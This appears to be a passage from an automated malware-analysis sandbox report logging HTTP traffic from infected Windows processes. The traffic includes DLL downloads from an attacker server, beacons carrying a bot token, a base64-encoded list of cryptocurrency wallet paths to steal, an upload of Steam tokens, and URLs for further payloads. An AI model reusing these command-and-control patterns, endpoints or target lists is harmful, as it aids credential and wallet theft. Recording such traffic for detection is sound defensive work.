00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Jul 27, 2024 05:39:20.012651920 CEST	91	OUT	GET /8405906461a5200c/softokn3.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 27, 2024 05:39:20.200748920 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 03:39:20 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Jul 27, 2024 05:39:20.446537018 CEST	95	OUT	GET /8405906461a5200c/vcruntime140.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 27, 2024 05:39:20.625572920 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 03:39:20 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Jul 27, 2024 05:39:21.173170090 CEST	199	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJDGIEHCAEHIEBFBKKK Host: 85.28.47.31 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Jul 27, 2024 05:39:21.992543936 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 03:39:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 05:39:22.103148937 CEST	465	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECBAFCAAKJDHJKFIEBG Host: 85.28.47.31 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 33 30 31 30 66 66 31 62 34 63 64 65 36 34 63 30 66 36 35 34 32 33 38 31 65 61 36 39 65 61 38 33 61 36 33 35 65 63 39 37 36 65 66 61 36 66 62 39 66 39 34 34 38 66 37 66 35 35 65 39 37 38 35 34 30 63 39 32 61 61 33 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 2d 2d 0d 0a Data Ascii: ------IECBAFCAAKJDHJKFIEBGContent-Disposition: form-data; name="token"a3010ff1b4cde64c0f6542381ea69ea83a635ec976efa6fb9f9448f7f55e978540c92aa3------IECBAFCAAKJDHJKFIEBGContent-Disposition: form-data; name="message"wallets------IECBAFCAAKJDHJKFIEBG--
Jul 27, 2024 05:39:22.292983055 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 03:39:22 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Jul 27, 2024 05:39:22.295286894 CEST	470	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGHCBGCBFHIIDHIJKFB Host: 85.28.47.31 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 33 30 31 30 66 66 31 62 34 63 64 65 36 34 63 30 66 36 35 34 32 33 38 31 65 61 36 39 65 61 38 33 61 36 33 35 65 63 39 37 36 65 66 61 36 66 62 39 66 39 34 34 38 66 37 66 35 35 65 39 37 38 35 34 30 63 39 32 61 61 33 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 2d 2d 0d 0a Data Ascii: ------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="token"a3010ff1b4cde64c0f6542381ea69ea83a635ec976efa6fb9f9448f7f55e978540c92aa3------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="message"ybncbhylepme------ECGHCBGCBFHIIDHIJKFB--
Jul 27, 2024 05:39:22.477826118 CEST	363	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 03:39:22 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 136 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4d 6e 78 6f 64 48 52 77 4f 69 38 76 4d 54 67 31 4c 6a 49 78 4e 53 34 78 4d 54 4d 75 4d 54 59 76 63 32 39 72 59 53 39 79 59 57 35 6b 62 32 30 75 5a 58 68 6c 66 44 42 38 4d 48 78 54 64 47 46 79 64 48 77 30 66 41 3d 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8MnxodHRwOi8vMTg1LjIxNS4xMTMuMTYvc29rYS9yYW5kb20uZXhlfDB8MHxTdGFydHw0fA==
Jul 27, 2024 05:39:27.327917099 CEST	561	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDGIJECGDGCBKECAKFBG Host: 85.28.47.31 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 33 30 31 30 66 66 31 62 34 63 64 65 36 34 63 30 66 36 35 34 32 33 38 31 65 61 36 39 65 61 38 33 61 36 33 35 65 63 39 37 36 65 66 61 36 66 62 39 66 39 34 34 38 66 37 66 35 35 65 39 37 38 35 34 30 63 39 32 61 61 33 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GDGIJECGDGCBKECAKFBGContent-Disposition: form-data; name="token"a3010ff1b4cde64c0f6542381ea69ea83a635ec976efa6fb9f9448f7f55e978540c92aa3------GDGIJECGDGCBKECAKFBGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GDGIJECGDGCBKECAKFBGContent-Disposition: form-data; name="file"------GDGIJECGDGCBKECAKFBG--

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49478	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:10.573885918 CEST	182	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 31 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000017001&unit=246122658369
Jul 27, 2024 05:39:11.332240105 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49479	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:11.446995974 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:12.213054895 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:12.215498924 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:12.467391968 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49480	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:12.586896896 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:13.339855909 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:13.341147900 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:13.595046997 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49481	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:13.711199045 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:14.453448057 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:14.475837946 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:14.721165895 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49482	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:14.845859051 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:15.594605923 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:15.595422983 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:15.844331980 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49483	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:15.961071968 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:16.698508024 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 05:39:16.699232101 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 27, 2024 05:39:16.943327904 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49484	185.215.113.19	80	7872	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 05:39:17.258560896 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 05:39:18.004678965 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 03:39:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
